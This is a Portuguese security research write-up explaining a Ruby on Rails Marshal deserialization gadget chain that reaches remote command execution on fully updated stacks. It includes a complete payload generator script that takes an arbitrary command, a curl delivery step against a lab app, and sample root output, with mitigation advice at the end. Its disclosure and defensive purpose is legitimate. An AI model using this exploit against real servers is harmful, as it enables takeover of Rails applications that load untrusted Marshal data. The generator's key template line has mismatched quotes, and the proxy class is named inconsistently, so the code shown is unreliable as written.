

DOCUMENTO TÉCNICO

Another Ruby Marshal Chain

RCE em Rails sem desserializar ERB

s3r4ph1el

11/06/2026

Sumário

1. Sobre este documento.....	3
2. Fundamentos de Ruby	3
3. Como o Marshal funciona	5
4. ERB e o guard <code>@_init</code>	6
5. Os dois gadgets.....	7
6. A PoC, linha a linha.....	9
7. Execução passo a passo	10
8. Alcance e versões	11
9. Gadget ou vulnerabilidade?.....	11
10. Mitigação.....	12
11. Referências	12

1. Sobre este documento

Este texto explica, do zero, um **gadget de desserialização** em Ruby on Rails. É uma cadeia de duas classes legítimas do framework. Quando uma aplicação chama `Marshal.load` sobre dados que o atacante controla, essa cadeia leva à execução de comandos no servidor. Isso acontece mesmo num Rails totalmente atualizado, posterior à correção da CVE-2026-41316.

O objetivo é que alguém com conhecimento geral de programação acompanhe cada peça. Por isso o documento é construído de baixo para cima. Primeiro os fundamentos do Ruby que a cadeia usa. Depois cada função, vista por dentro com um exemplo. Só então a cadeia montada e a PoC.

Nenhuma classe do Rails ou do Ruby está com defeito. A vulnerabilidade real é a aplicação chamar `Marshal.load` em dado não-confiável, o que se classifica como `CWE-502`. As classes envolvidas se comportam exatamente como foram projetadas.

Como ler: cada subseção dos fundamentos termina com um exemplo `# =>` mostrando entrada e saída. Leia o exemplo, não só a descrição. O comportamento interno de cada função é o que torna a cadeia possível.

2. Fundamentos de Ruby

Quem já programa Ruby pode pular para a seção 4. As subseções abaixo cobrem só o que a cadeia usa, cada uma com uma demonstração curta.

2.1 Objetos e variáveis de instância

Em Ruby, todo valor é um objeto. Um objeto guarda estado em **variáveis de instância**, que começam com `@`. Elas só são acessíveis de dentro do objeto.

```
class Pessoa
  def initialize(nome)
    @nome = nome          # @nome é uma variável de instância
  end
  def nome = @nome        # método de leitura
end

p = Pessoa.new("Ana")     # cria o objeto e roda initialize
p.nome                    # => "Ana"
```

Guarde duas coisas. `@nome` só existe dentro do objeto. E `initialize` roda automaticamente quando você usa `.new`.

2.2 Métodos chamáveis sem argumentos

Argumentos podem ter valor default. Quando *todos* têm default, o método pode ser chamado sem passar nada. Isso vale também para keyword arguments.

```
def config(mod: "prod", **resto)  # keyword arg com default
  mod
end

config                            # => "prod"  (chamável sem nenhum argumento)
```

Esse detalhe é central. Adiante, a cadeia só consegue acionar um método se ele aceitar ser chamado sem argumentos.

2.3 `send` : chamar um método pelo nome

Você pode invocar um método cujo nome está numa variável (um `Symbol`). É o *despacho dinâmico*: "chame, neste objeto, o método cujo nome está guardado aqui".

```
p.send(:nome)          # => "Ana"    (igual a p.nome)
p.__send__(:nome)       # => "Ana"    (versão à prova de override)
```

2.4 `method_missing` : interceptar métodos inexistentes

Quando você chama um método que o objeto não tem, Ruby chama `method_missing` antes de levantar erro. Sobrescrever esse método deixa o objeto "responder" a qualquer chamada.

```
class Proxy
  def method_missing(nome, *args)
    "você chamou #{nome}"
  end
end

Proxy.new.qualquer_coisa # => "você chamou qualquer_coisa"
```

2.5 `undef_method` : o proxy transparente

`undef_method` apaga um método de uma classe, mesmo um herdado. Se você apagar *todos* os métodos normais de um objeto, qualquer chamada nele cai em `method_missing`. É a receita de um proxy transparente.

```
class Transparente
  instance_methods.each { |m| undef_method(m) unless m.to_s.start_with?("__") }
  def method_missing(nome, *a) = "interceptado: #{nome}"
end

Transparente.new.hash # => "interceptado: hash" (até .hash cai aqui)
```

Repare na última linha. Até `.hash`, um método que todo objeto tem, foi removido e agora cai em `method_missing`. Essa é a engrenagem do gatilho da cadeia.

2.6 `allocate` : objeto sem `initialize`

`.new` faz duas coisas: aloca o objeto e roda `initialize`. `allocate` faz só a primeira. O objeto nasce vazio, sem passar pelo construtor.

```
p = Pessoa.allocate # objeto existe, mas initialize NÃO rodou
p.nome              # => nil      (@nome nunca foi setado)

p.instance_variable_set(:@nome, "forjado")
p.nome              # => "forjado"
```

Compare as duas rotas de criação:

Rota	Roda initialize ?	Validações do construtor
Pessoa.new("Ana")	sim	aplicadas
Pessoa.allocate	não	<i>puladas</i>

Com `allocate` mais `instance_variable_set`, um atacante monta um objeto com qualquer estado interno e pula toda validação que o `initialize` faria. Como a próxima seção mostra, `Marshal.load` faz exatamente isso.

2.7 UnboundMethod#bind : pegar um método "de fora"

Se uma classe removeu o próprio `instance_variable_set` (via `undef_method`), ainda dá para alcançar a implementação original de `Object` e aplicá-la àquele objeto.

```
ivset = Object.instance_method(:instance_variable_set) # método "solto"
ivset.bind(obj).call(:@x, 123) # aplica a implementação real em obj
obj.instance_variable_get(:@x) # => 123
```

A PoC usa isso para preencher um proxy que apagou o próprio setter.

3. Como o Marshal funciona

`Marshal` é o formato binário nativo do Ruby para serializar objetos.

```
bytes = Marshal.dump(["a", 1]) # objeto -> bytes
Marshal.load(bytes) # => ["a", 1] (bytes -> objeto)
```

Dois comportamentos do `load` sustentam a cadeia inteira.

Primeiro: `load` reconstrói as variáveis de instância sem chamar `initialize`. É o mesmo efeito do `allocate` da seção 2.6. O objeto volta com o estado que estava nos bytes, sem passar por validação de construtor. Um atacante que controla os bytes controla o estado interno do objeto reconstruído.

Segundo: ao reconstruir um Hash, o `load` chama `.hash` em cada chave. Ele precisa do código de hash para decidir em que "balde" a chave vai. O exemplo abaixo torna isso visível:

```
class Espia
  def hash
    puts " .hash foi chamado em mim!"
    super
  end
end

Marshal.load(Marshal.dump({ Espia.new => "valor" }))
# imprime: .hash foi chamado em mim!
```

Esse é o pulo do gato. Colocar um objeto como **chave de Hash** num payload faz o `load` chamar um método nesse objeto durante a desserialização. É o que transforma "carregar dados" em "executar método".

Os marcadores de tipo do formato que aparecem na PoC: `\x04\x08` (cabeçalho de versão), `o` (objeto genérico), `{` (Hash), `:` (Symbol), `I` (String com encoding).

Resumindo: `Marshal.load` em dado do atacante reconstrói objetos arbitrários, com estado arbitrário, e ainda chama um método neles. Falta só encadear classes cujos métodos, nessa ordem, terminem em execução de código.

4. ERB e o guard `@_init`

ERB é a biblioteca de templates do Ruby. Ela compila um template numa string de código-fonte e, ao renderizar, faz `eval` dessa string. Quem controla o template controla o código executado.

```
require "erb"
ERB.new("<%= system('id') %>").result # executa o comando "id"
```

Por anos, ERB foi o destino óbvio de gadgets de Marshal. Bastava reconstruir um objeto ERB com o código-fonte malicioso e chamar `result`. Para fechar isso, o Ruby pôs um **guard**: um objeto ERB só executa se foi inicializado de verdade.

4.1 O que a CVE-2026-41316 corrigiu

A correção (abril/2026) estendeu o guard a todos os caminhos que chegam ao `eval`, incluindo

`def_method`, `def_module` e `def_class`:

```
def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class) # o guard
    raise ArgumentError, "not initialized"
  end
  ...
end
```

Há uma sutileza importante. O sentinela `@_init` não é um booleano. O `initialize` faz `@_init = self.class.singleton_class`, e o guard exige que `@_init` seja `.equal?` àquela singleton class específica. Isso fecha até a forja. Setar `@_init = true` no payload não passa, porque `true` não é a singleton class.

```
nova = ERB.new("<%= 1 %>") # initialize seta @_init
nova.instance_variable_get(:@_init) # => #<Class:#<ERB...> (válido)

viaload = Marshal.load(Marshal.dump(nova))
viaload.instance_variable_get(:@_init) # => nil (initialize não rodou)
# qualquer caminho de execução nesse objeto agora levanta "not initialized"
```

Conclusão direta: desserializar um objeto ERB para executar código está fechado.

4.2 A brecha: a ERB instanciada em runtime nasce com o guard satisfeito

O guard só vigia ERB que veio do Marshal. Suponha que a cadeia consiga fazer o **próprio Rails** instanciar um `ERB.new(...)` em runtime. Essa ERB recém-instanciada passa pelo `initialize` normalmente, recebe um `@_init` válido, e o guard não tem o que bloquear. Não há ERB desserializada em lugar nenhum.

A pergunta passa a ser concreta. Existe, no Rails, um método chamável sem argumentos que faça `ERB.new(@alguma_ivar).result`, com `@alguma_ivar` sob controle do atacante? Existe.

5. Os dois gadgets

5.1 O sink: ActiveSupport::ConfigurationFile

É a classe que o Rails usa para ler arquivos de configuração como o `database.yml`, que podem conter ERB. O trecho relevante:

```
def parse(context: nil, **options) # chamável sem argumentos
  source = @content.include?("<") ? render(context) : @content
  # ... YAML.load(source) ...
end

def render(context)
  erb = ERB.new(@content).tap { |e| e.filename = @content_path } # ERB em runtime
  context ? erb.result(context) : erb.result # executa
end
```

Leia o fluxo seguindo `@content`:

1. `parse` só tem keyword args com default, então aceita ser chamado sem argumentos.
2. Se `@content` contém a marca `<`, `parse` chama `render`.
3. `render` faz `ERB.new(@content).result`. A ERB é **nova**, criada na hora. Como passou pelo `initialize`, o `@_init` é válido e o guard da seção 4.1 não se aplica.
4. `@content` é uma variável de instância comum. Com `allocate` mais `instance_variable_set`, o atacante define `@content = "<%= system('id') %>"`.

Ou seja: `parse`, chamado sem argumentos sobre um objeto forjado, executa o ERB que o atacante colocou em `@content`. Esse é o sink direto.

Prior art: esta classe já era conhecida dos pesquisadores de gadget. A elttam (Alex Brown, 2025) a listou, mas como candidata a leitura de arquivo (`ConfigurationFile.new('/etc/passwd').to_json`), e a descartou. O caminho `parse` → `render` → `ERB.new` (execução de código) é outro método e outra capacidade. É a parte que não estava documentada.

5.2 O gatilho: DeprecatedInstanceVariableProxy (DIVP)

Falta uma peça. `Marshal.load` reconstrói objetos, mas não chama `parse` neles por conta própria. Precisamos de algo que invoque um método *como efeito colateral* da desserialização. Esse é o papel do `DeprecatedInstanceVariableProxy` do ActiveSupport.

Essa classe é um proxy de depreciação. Ela embrulha um objeto e avisa quando algo o usa. Para interceptar qualquer método, herda de `DeprecationProxy`:

```
instance_methods.each { |m| undef_method(m) unless /^_|^object_id$/.match?(m) }

def method_missing(called, *args, &block)
  warn(...)
  target.__send__(called, *args, &block) # despacha para o objeto embrulhado
end

def target
  @instance.__send__(@method) # chama @method em @instance
end
```

Já vimos as duas engrenagens na seção 2. Todos os métodos foram apagados, então até `.hash` cai em `method_missing` (2.5). E `method_missing` chama `target`, que faz `@instance.__send__(@method)` (2.3). Substituindo os valores que o atacante forja:

```
proxy.hash
  → method_missing(:hash)
    → target
      → @instance.__send__(@method)
        = ConfigurationFile.__send__(:parse)
```

Falta só "qualquer chamada no proxy". A seção 3 já entregou: ao reconstruir um Hash, o `Marshal.load` chama `.hash` nas chaves. Basta colocar o DVP como **chave de um Hash** no payload.

5.3 A cadeia completa

```
Marshal.load(Hash{ DVP => "x" })
1. O Hash insere a chave → chama DVP.hash
2. .hash foi apagado → method_missing → target → @instance.__send__(@method)
   onde @instance = ActiveSupport::ConfigurationFile, @method = :parse
3. ConfigurationFile#parse → render(nil) (porque @content contém "<%")
4. ERB.new(@content).result → eval → system("id") → execução de comando
```

Dois gadgets, uma confusão de tipo. O DVP se faz passar por um objeto "hashable", que teria um `.hash` comum. Na verdade, qualquer chamada nele vira despacho para outro método. Sem Sprockets, sem Rack, sem gadget intermediário. Basta o **ActiveSupport carregado**, presente em todo app Rails.

6. A PoC, linha a linha

O script abaixo gera o `Marshal` em base64. Ele roda na máquina do atacante. O resultado é o blob que se envia ao alvo.

```
#!/usr/bin/env ruby
require 'base64'
require 'active_support'
require 'active_support/configuration_file'
require 'active_support/deprecation'

cmd = ARGV[0] || 'id'

# (1) Forja o sink: um ConfigurationFile com @content = template ERB malicioso.
# allocate => sem initialize, então nenhuma validação roda.
cf = ActiveSupport::ConfigurationFile.allocate
cf.instance_variable_set(:@content, "<%= system("#{cmd.inspect}) %>")
cf.instance_variable_set(:@content_path, 'x')

# (2) Desarma o DIVEP durante a geração. Senão a própria cadeia dispararia aqui,
# na máquina do atacante, ao montar o objeto.
klass = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
klass.define_method(:hash) { 12345 }
saved_mm = klass.instance_method(:method_missing)
klass.define_method(:method_missing) { |_| nil }

dep = ActiveSupport::Deprecation.new
dep.instance_variable_set(:@silenced, true)

# (3) Preenche as ivars do proxy. Como o DIVEP apagou o próprio
# instance_variable_set, usamos o bind de Object (seção 2.7).
ivset = Object.instance_method(:instance_variable_set)
proxy = klass.allocate
ivset.bind(proxy).call(:@instance, cf) # o sink
ivset.bind(proxy).call(:@method, :parse) # o método a disparar
ivset.bind(proxy).call(:@var, :@x)
ivset.bind(proxy).call(:@deprecator, dep)

# (4) Serializa o proxy sozinho e monta o wrapper de Hash byte a byte.
proxy_dump = Marshal.dump(proxy)
proxy_inner = proxy_dump[2..] # tira o cabeçalho \x04\x08
payload = "\x04\x08{\x06" + proxy_inner + "I\"\x06x\x06:\x06ET"
# ^header ^Hash 1 par ^o proxy ^valor "x" (String)

# (5) Restaura o DIVEP ao estado original (higiene; deixa o processo limpo).
klass.define_method(:method_missing, saved_mm)
klass.remove_method(:hash) rescue nil

puts Base64.strict_encode64(payload)
```

Quatro pontos não são óbvios. Cada um existe por uma razão concreta:

- **allocate no passo (1).** Monta o `ConfigurationFile` sem `initialize`. Assim `@content` recebe um template ERB em vez de um caminho de arquivo, e nenhuma validação atrapalha.
- **Desarmar o DIVEP no passo (2).** O DIVEP é uma armadilha que dispara a qualquer toque. Para preenchê-lo sem detoná-lo na própria máquina, redefinimos `.hash` e `method_missing` temporariamente para não fazerem nada.
- **ivset.bind no passo (3).** O proxy apagou o próprio `instance_variable_set`. O bind de `Object` devolve o setter real para popularmos as ivars.

- **Wrapper manual no passo (4).** Um `Marshal.dump({proxy => "x"})` chamaria `.hash` na hora do dump e dispararia a cadeia aqui. Por isso serializamos só o proxy e prefixamos os bytes de um Hash de um par à mão. O disparo passa a acontecer *no alvo*, dentro do `Marshal.load`.

7. Execução passo a passo

Há um laboratório público que reproduz tudo. É uma app mínima que faz `Marshal.load` de um parâmetro POST, vulnerável de propósito: github.com/S3r4ph1el/another-ruby-marshall-chain.

Passo 1: Subir o laboratório

```
git clone https://github.com/S3r4ph1el/another-ruby-marshall-chain
cd another-ruby-marshall-chain
docker compose up -d --build
```

Isto sobe um servidor local em `127.0.0.1:3000`. A rota `/marshal` faz

`Marshal.load(Base64.decode64(params['p']))`, exatamente o anti-pattern `CWE-502`.

Passo 2: Gerar o payload

```
B64=$(docker compose exec lab bundle exec ruby /exploit/gen_payload.rb 'id')
```

`gen_payload.rb` é o script da seção 6. A variável `B64` passa a conter o blob Marshal em base64, na ordem de 600 caracteres, que codifica `{ DIVP(@instance=ConfigurationFile(@content="<%= system('id') %>"), @method=:parse) => "x" }`.

Passo 3: Enviar ao alvo

```
curl -s -X POST --data-urlencode "p=$B64" http://127.0.0.1:3000/marshal
```

Passo 4: A cadeia disparando no servidor

1. O servidor decodifica o base64 e chama `Marshal.load(bytes)`.
2. O `load` reconstrói o Hash e, para inserir a chave, chama `.hash` no `DIVP`.
3. `.hash` foi apagado no `DIVP`, então cai em `method_missing`.
4. `method_missing` chama `target`, que faz `@instance.__send__(@method)`, ou seja `ConfigurationFile#parse`.
5. `parse` vê que `@content` contém `<%=` e chama `render`.
6. `render` faz `ERB.new(@content).result`, uma ERB instanciada em runtime, com `@_init` válido, então o guard da CVE não se aplica.
7. O ERB avalia `<%= system('id') %>` e o comando `id` roda no servidor.

Passo 5: Resultado esperado

```
stdout:
uid=0(root) gid=0(root) groups=0(root)
```

O app de laboratório captura o stdout do comando e o devolve na resposta HTTP. O `uid=0(root)` confirma a execução (o processo Ruby roda como root no container). Trocar `'id'` por outro comando no Passo 2 executa esse outro comando.

8. Alcance e versões

Cada combinação foi *executada* num container limpo. A cadeia disparou `system()` ponta a ponta, do Ruby 3.2 ao Ruby 4.0.5 (o mais recente).

ActiveSupport	a cadeia dispara?
7.0.8.7	sim
7.1.6	sim
7.2.2.1	sim
8.0.2	sim
8.1.3	sim

A linha 8.1.3 foi validada no stack totalmente atualizado: **Ruby 4.0.5 + ActiveSupport 8.1.3 + erb 6.0.4**, com o ERB já corrigido pela CVE-2026-41316. A cadeia dispara mesmo assim, porque nunca desserializa um ERB.

O que define o alcance não é a versão das gems. Os métodos são idênticos em toda a faixa. O que importa é o que está **carregado**:

- O sink `ConfigurationFile` mora no ActiveSupport, presente em todo app Rails, inclusive Rails 8 com Propshaft. Ele é carregado por autoload, e o próprio `Marshal.load` dispara esse autoload.
- Pré-requisito secundário: o ERB precisa estar carregado. No ActiveSupport 8.0+ o `render` faz `require "erb"` sozinho. No ActiveSupport 7.0–7.2 o ERB já precisa estar carregado, o que é sempre verdade num app Rails real, porque o ActionView puxa o ERB.

9. Gadget ou vulnerabilidade?

Os dois termos descrevem coisas diferentes. Um **gadget** é código legítimo reaproveitado como degrau: `ConfigurationFile#parse`, `DeprecationProxy` e o ERB fazem exatamente o que prometem. A **vulnerabilidade** é o defeito que abre a porta, e está num único ponto: a aplicação chamar `Marshal.load` sobre bytes do atacante, o que é `CWE-502`. Ela mora no app, não no Rails.

A sutileza está no que o guard do ERB promete: ele checa a **proveniência do objeto** (esta ERB passou pelo `initialize`?), não a **confiança do conteúdo** (esse template é seguro?). Como a chain faz o Rails instanciar uma ERB legítima em runtime, o guard não tem o que bloquear, e executar um template recém-instanciado é a função do ERB, não um vetor que esqueceram. Por isso não é bypass: nenhum controle foi furado, e não existe o que o ERB possa fechar.

A CVE-2026-41316 fecha a fronteira: lá o defeito era do ERB (uma promessa de segurança com furo). Aqui nenhuma lib quebra promessa, então a correção durável é não desserializar dado não-confiável, não "consertar" um gadget.

10. Mitigação

Em ordem de eficácia:

1. Nunca chame `Marshal.load` em dado controlado pelo usuário. É o anti-pattern conhecido há ~15 anos. Prefira JSON, MessagePack ou CBOR com schema estrito.
2. Se a desserialização binária for inevitável (ex.: cookie cifrado interno), valide a assinatura antes de carregar, com `message_verifier` ou `MessageEncryptor`.
3. Restrinja as classes aceitas no load: `Marshal.load(blob, permitted_classes: [...])` (Ruby 3.x+).
4. Audite colunas `serialize :col`, `MarshalSerializer` em models ActiveRecord, influenciáveis por SQLi, mass assignment ou race em update.

11. Referências

- Laboratório: PoC reproduzível
- elttam: `ConfigurationFile` como file-read (2025)
- behradtaher: ERB como "dead end"
- httpvoid: gadget de desserialização no Rails (2021)
- nastystereo: RCE universal em Ruby 3.4 (2025)
- elttam: RCE universal em Ruby 2.x (2018)
- Include Security: gadget chains em Ruby (2024)
- GitHub Security Lab: desserialização insegura em Ruby (2024)
- Trail of Bits: Marshal madness (2025)
- CVE-2026-41316: advisory
- Fonte: `ConfigurationFile` (v7.1.6)
- Fonte: `DeprecatedInstanceVariableProxy` (v7.1.6)
- Fonte: ERB `def_method guard` (v4.0.4.1)